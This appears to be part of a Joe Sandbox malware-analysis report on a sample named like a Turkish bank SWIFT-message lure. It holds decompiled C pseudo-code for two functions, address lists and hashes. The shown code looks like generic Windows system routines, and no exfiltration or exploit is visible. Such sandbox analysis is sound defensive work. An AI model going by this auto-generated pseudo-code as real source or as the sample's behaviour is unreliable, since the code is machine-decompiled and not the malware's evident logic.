                                                                        0x012e5967
                                                                        0x012e595b
                                                                        0x012e5942
                                                                        0x012e5863
                                                                        0x012a2143
                                                                        0x012a2143
                                                                        0x012a2149
                                                                        0x012a214f
                                                                        0x012a22f1
                                                                        0x012a22f6
                                                                        0x00000000
                                                                        0x012a2173
                                                                        0x012a2173
                                                                        0x012a217d
                                                                        0x012a2181
                                                                        0x012a2186
                                                                        0x012e59ae
                                                                        0x012e59b2
                                                                        0x012e59b5
                                                                        0x012e59b7
                                                                        0x012e59ba
                                                                        0x012e59cd
                                                                        0x012e59d1
                                                                        0x012e59d5
                                                                        0x012e59d9
                                                                        0x012e59db
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e59dd
                                                                        0x012e59dd
                                                                        0x012e59e1
                                                                        0x012e59e4
                                                                        0x012e59e7
                                                                        0x012e59ee
                                                                        0x012e59ee
                                                                        0x012e59f3
                                                                        0x012e59f3
                                                                        0x00000000
                                                                        0x012a2186
                                                                        0x012a214f
                                                                        0x012a2106
                                                                        0x012a2266
                                                                        0x012a20d8
                                                                        0x012a20da
                                                                        0x012a20e0
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 8fae05c338202086fc658127836a9c5e4bf39f44946e36fef91e68b42eb8979b
                                                                        • Instruction ID: 18f917993fe27f69e11b46163414218ea86a98fcbd1215b16d73f10813f88596
                                                                        • Opcode Fuzzy Hash: 8fae05c338202086fc658127836a9c5e4bf39f44946e36fef91e68b42eb8979b
                                                                        • Instruction Fuzzy Hash: 2AF13435638342DFEB26CF2CC84476A7BE5AF85328F84851DEA958B391D774D840CB92
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0128849B Relevance: .3, Instructions: 290COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 92%
                                                                        			E0128849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x134f9c0);
				E012CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x1367b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E0128CEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E01292280( *[fs:0x30], 0x1368550);
						_t139 =  *0x1367b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E012AF3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E0128FFB0(_t193, _t235, 0x1368550);
								L5:
								return E012CD130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E01271C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x1367b9c; // 0x0
							_t235 = L01294620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x1367b10; // 0x0
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E012AA61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E0128FFB0(_t193, _t235, 0x1368550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L012977F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L012977F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x1367b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x1367b10; // 0x0
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E012B37C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x1367b9c; // 0x0
									_t214 = L01294620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E012B37F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x1367b10 =  *0x1367b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x1367b04 =  *0x1367b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L012977F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L012977F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x1367b08 =  *0x1367b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E012B57C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E012BF3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L012977F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E012AA44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L012977F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E012B96C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

































                                                                        0x0128849b
                                                                        0x0128849b
                                                                        0x0128849b
                                                                        0x0128849b
                                                                        0x0128849d
                                                                        0x012884a2
                                                                        0x012884a7
                                                                        0x012884b1
                                                                        0x012884d8
                                                                        0x00000000
                                                                        0x012884b3
                                                                        0x012884c4
                                                                        0x012884c9
                                                                        0x012884cd
                                                                        0x012884cf
                                                                        0x012884cf
                                                                        0x012884d6
                                                                        0x012884e6
                                                                        0x012884e9
                                                                        0x012884ec
                                                                        0x012884ef
                                                                        0x012884f2
                                                                        0x012884f4
                                                                        0x012884fc
                                                                        0x01288501
                                                                        0x01288506
                                                                        0x01288509
                                                                        0x012886e0
                                                                        0x012886e5
                                                                        0x012886e8
                                                                        0x012886ed
                                                                        0x012886f0
                                                                        0x012886f2
                                                                        0x012d9afd
                                                                        0x012d9b02
                                                                        0x012884da
                                                                        0x012884df
                                                                        0x012884df
                                                                        0x012886fa
                                                                        0x012886fd
                                                                        0x012886fe
                                                                        0x01288701
                                                                        0x01288706
                                                                        0x01288709
                                                                        0x0128870b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01288711
                                                                        0x01288725
                                                                        0x01288727
                                                                        0x0128872a
                                                                        0x0128872c
                                                                        0x012d9af0
                                                                        0x012d9af5
                                                                        0x01288732
                                                                        0x01288732
                                                                        0x01288732
                                                                        0x01288735
                                                                        0x01288737
                                                                        0x01288515
                                                                        0x01288515
                                                                        0x01288518
                                                                        0x0128851d
                                                                        0x01288523
                                                                        0x01288527
                                                                        0x0128852b
                                                                        0x01288537
                                                                        0x01288539
                                                                        0x0128853c
                                                                        0x0128853e
                                                                        0x0128868c
                                                                        0x01288691
                                                                        0x01288699
                                                                        0x0128869b
                                                                        0x01288744
                                                                        0x01288748
                                                                        0x012886a1
                                                                        0x012886a1
                                                                        0x012886a1
                                                                        0x012886a4
                                                                        0x012886a8
                                                                        0x012d9bdf
                                                                        0x012d9bdf
                                                                        0x012886ae
                                                                        0x012886b0
                                                                        0x00000000
                                                                        0x012886b6
                                                                        0x00000000
                                                                        0x012d9be9
                                                                        0x012886b0
                                                                        0x01288544
                                                                        0x0128854a
                                                                        0x0128854d
                                                                        0x01288551
                                                                        0x0128876e
                                                                        0x01288778
                                                                        0x0128877b
                                                                        0x01288780
                                                                        0x01288557
                                                                        0x01288557
                                                                        0x0128855d
                                                                        0x0128855d
                                                                        0x0128856b
                                                                        0x0128856e
                                                                        0x01288570
                                                                        0x01288573
                                                                        0x01288576
                                                                        0x01288576
                                                                        0x01288579
                                                                        0x0128857b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01288581
                                                                        0x012885a0
                                                                        0x012885a2
                                                                        0x012885a5
                                                                        0x012885a7
                                                                        0x012d9b1b
                                                                        0x012d9b1b
                                                                        0x0128862e
                                                                        0x0128862e
                                                                        0x01288631
                                                                        0x01288631
                                                                        0x01288634
                                                                        0x01288636
                                                                        0x01288669
                                                                        0x01288669
                                                                        0x0128866b
                                                                        0x012d9bbf
                                                                        0x012d9bc4
                                                                        0x012d9bc8
                                                                        0x012d9bce
                                                                        0x012d9bce
                                                                        0x01288671
                                                                        0x01288671
                                                                        0x01288674
                                                                        0x01288676
                                                                        0x012d9bae
                                                                        0x012d9bae
                                                                        0x01288676
                                                                        0x0128867c
                                                                        0x0128867e
                                                                        0x01288688
                                                                        0x01288688
                                                                        0x00000000
                                                                        0x0128867e
                                                                        0x01288638
                                                                        0x01288638
                                                                        0x0128863b
                                                                        0x0128863e
                                                                        0x0128863f
                                                                        0x01288642
                                                                        0x01288645
                                                                        0x01288648
                                                                        0x0128864d
                                                                        0x012d9b69
                                                                        0x012d9b6e
                                                                        0x012d9b7b
                                                                        0x012d9b81
                                                                        0x012d9b85
                                                                        0x012d9b89
                                                                        0x012d9ba7
                                                                        0x012d9b8b
                                                                        0x012d9b91
                                                                        0x012d9b9a
                                                                        0x012d9b9f
                                                                        0x012d9b9f
                                                                        0x01288788
                                                                        0x0128878d
                                                                        0x01288763
                                                                        0x01288763
                                                                        0x01288766
                                                                        0x00000000
                                                                        0x01288766
                                                                        0x012d9b70
                                                                        0x00000000
                                                                        0x012d9b70
                                                                        0x01288656
                                                                        0x0128865a
                                                                        0x0128865c
                                                                        0x01288752
                                                                        0x01288756
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0128875e
                                                                        0x00000000
                                                                        0x0128875e
                                                                        0x01288662
                                                                        0x01288662
                                                                        0x01288662
                                                                        0x01288666
                                                                        0x00000000
                                                                        0x01288666
                                                                        0x012885b7
                                                                        0x012885b9
                                                                        0x012885bc
                                                                        0x012885bf
                                                                        0x012885cc
                                                                        0x012885d1
                                                                        0x012885d4
                                                                        0x012885db
                                                                        0x012885de
                                                                        0x012885e0
                                                                        0x012d9b5f
                                                                        0x00000000
                                                                        0x012d9b5f
                                                                        0x012885e6
                                                                        0x012885ea
                                                                        0x012886c3
                                                                        0x012886c5
                                                                        0x012886c8
                                                                        0x012886ca
                                                                        0x012d9b16
                                                                        0x00000000
                                                                        0x012d9b16
                                                                        0x012886d6
                                                                        0x012885f6
                                                                        0x012885f6
                                                                        0x012885f9
                                                                        0x01288602
                                                                        0x01288606
                                                                        0x0128860a
                                                                        0x0128860b
                                                                        0x0128860e
                                                                        0x01288611
                                                                        0x00000000
                                                                        0x01288611
                                                                        0x012885f3
                                                                        0x00000000
                                                                        0x012885f3
                                                                        0x01288619
                                                                        0x0128861e
                                                                        0x0128861e
                                                                        0x01288621
                                                                        0x01288622
                                                                        0x01288623
                                                                        0x01288625
                                                                        0x0128862c
                                                                        0x00000000
                                                                        0x0128873d
                                                                        0x00000000
                                                                        0x0128873d
                                                                        0x01288737
                                                                        0x0128850f
                                                                        0x01288512
                                                                        0x00000000
                                                                        0x01288512
                                                                        0x00000000
                                                                        0x012884d6

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 0ef798a972c40ab5df34740c6577340804e686fc13c87f01554fb85dea4ee906
                                                                        • Instruction ID: 1a2e57dd4a8a2d11a2dae8652106cbc28ffa47d27a9a24c9867caa91505da7a5
                                                                        • Opcode Fuzzy Hash: 0ef798a972c40ab5df34740c6577340804e686fc13c87f01554fb85dea4ee906
                                                                        • Instruction Fuzzy Hash: 2EB17075E2121ADFDF29EF99C980AADBBB9FF44308F504129E605AB385D770A841CF50
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127C600 Relevance: .2, Instructions: 225COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 67%
                                                                        			E0127C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x136d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E01286D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E012BB640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x1367b9c; // 0x0
					_t74 = L01294620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E012B9650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L012977F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E012BF3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E012B13C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L012977F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E012B9650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}










































                                                                        0x0127c608
                                                                        0x0127c615
                                                                        0x0127c625
                                                                        0x0127c62d
                                                                        0x0127c635
                                                                        0x0127c640
                                                                        0x0127c680
                                                                        0x0127c687
                                                                        0x0127c688
                                                                        0x0127c689
                                                                        0x0127c694
                                                                        0x0127c694
                                                                        0x0127c642
                                                                        0x0127c64a
                                                                        0x0127c697
                                                                        0x012e7a25
                                                                        0x012e7a2b
                                                                        0x012e7a2e
                                                                        0x012e7a30
                                                                        0x012e7bea
                                                                        0x012e7bea
                                                                        0x00000000
                                                                        0x012e7bea
                                                                        0x012e7a36
                                                                        0x012e7a43
                                                                        0x012e7a48
                                                                        0x012e7a4c
                                                                        0x012e7a4e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7a58
                                                                        0x012e7a5a
                                                                        0x012e7a5b
                                                                        0x012e7a5c
                                                                        0x012e7a5d
                                                                        0x012e7a63
                                                                        0x012e7a64
                                                                        0x012e7a6a
                                                                        0x012e7a6c
                                                                        0x012e7a6e
                                                                        0x012e79cb
                                                                        0x012e79cb
                                                                        0x012e79ce
                                                                        0x012e79d0
                                                                        0x012e7a98
                                                                        0x012e7a9b
                                                                        0x012e7a9b
                                                                        0x012e7a9e
                                                                        0x012e7aa1
                                                                        0x012e7bbe
                                                                        0x012e7bbe
                                                                        0x012e7bc0
                                                                        0x012e7be0
                                                                        0x012e7be0
                                                                        0x012e7a01
                                                                        0x012e7a01
                                                                        0x012e7a05
                                                                        0x012e7a07
                                                                        0x012e7a15
                                                                        0x012e7a15
                                                                        0x012e7a1a
                                                                        0x00000000
                                                                        0x012e7a1a
                                                                        0x012e7bc2
                                                                        0x012e7bc6
                                                                        0x012e7bc9
                                                                        0x012e7bcd
                                                                        0x012e7bcf
                                                                        0x012e79e6
                                                                        0x012e79e6
                                                                        0x012e79eb
                                                                        0x012e79eb
                                                                        0x012e79ef
                                                                        0x012e79f1
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e79f3
                                                                        0x012e79f5
                                                                        0x012e79ff
                                                                        0x012e79ff
                                                                        0x00000000
                                                                        0x012e79ff
                                                                        0x012e79f7
                                                                        0x012e79fd
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e79fd
                                                                        0x012e7bd5
                                                                        0x012e7bd8
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7ba9
                                                                        0x012e7bac
                                                                        0x012e7bb0
                                                                        0x012e7bb1
                                                                        0x012e7bb1
                                                                        0x012e7bb6
                                                                        0x00000000
                                                                        0x012e7bb6
                                                                        0x012e7aa7
                                                                        0x012e7aaa
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7ab2
                                                                        0x012e7ab3
                                                                        0x012e7ab5
                                                                        0x012e7aec
                                                                        0x012e7aef
                                                                        0x012e7b25
                                                                        0x012e7b28
                                                                        0x012e7b62
                                                                        0x012e7b64
                                                                        0x012e7b8f
                                                                        0x012e7b92
                                                                        0x012e7b96
                                                                        0x012e7b98
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7b9e
                                                                        0x012e7b9f
                                                                        0x012e7ba3
                                                                        0x00000000
                                                                        0x012e7ba3
                                                                        0x012e7b66
                                                                        0x012e7b68
                                                                        0x012e7ae2
                                                                        0x012e7ae2
                                                                        0x00000000
                                                                        0x012e7ae2
                                                                        0x012e7b6e
                                                                        0x012e7b72
                                                                        0x012e7b75
                                                                        0x012e7b81
                                                                        0x012e7b85
                                                                        0x012e7b87
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7b31
                                                                        0x012e7b34
                                                                        0x012e7b3c
                                                                        0x012e7b45
                                                                        0x012e7b46
                                                                        0x012e7b4f
                                                                        0x012e7b51
                                                                        0x012e7b57
                                                                        0x012e7b59
                                                                        0x012e7b59
                                                                        0x00000000
                                                                        0x012e7b59
                                                                        0x012e7b77
                                                                        0x00000000
                                                                        0x012e7b77
                                                                        0x012e7b2a
                                                                        0x00000000
                                                                        0x012e7b2a
                                                                        0x012e7af1
                                                                        0x012e7af3
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7afb
                                                                        0x012e7afc
                                                                        0x012e7afe
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7b00
                                                                        0x012e7b03
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7b05
                                                                        0x012e7b09
                                                                        0x012e7b0d
                                                                        0x012e7b0f
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e7b18
                                                                        0x012e7b1d
                                                                        0x00000000
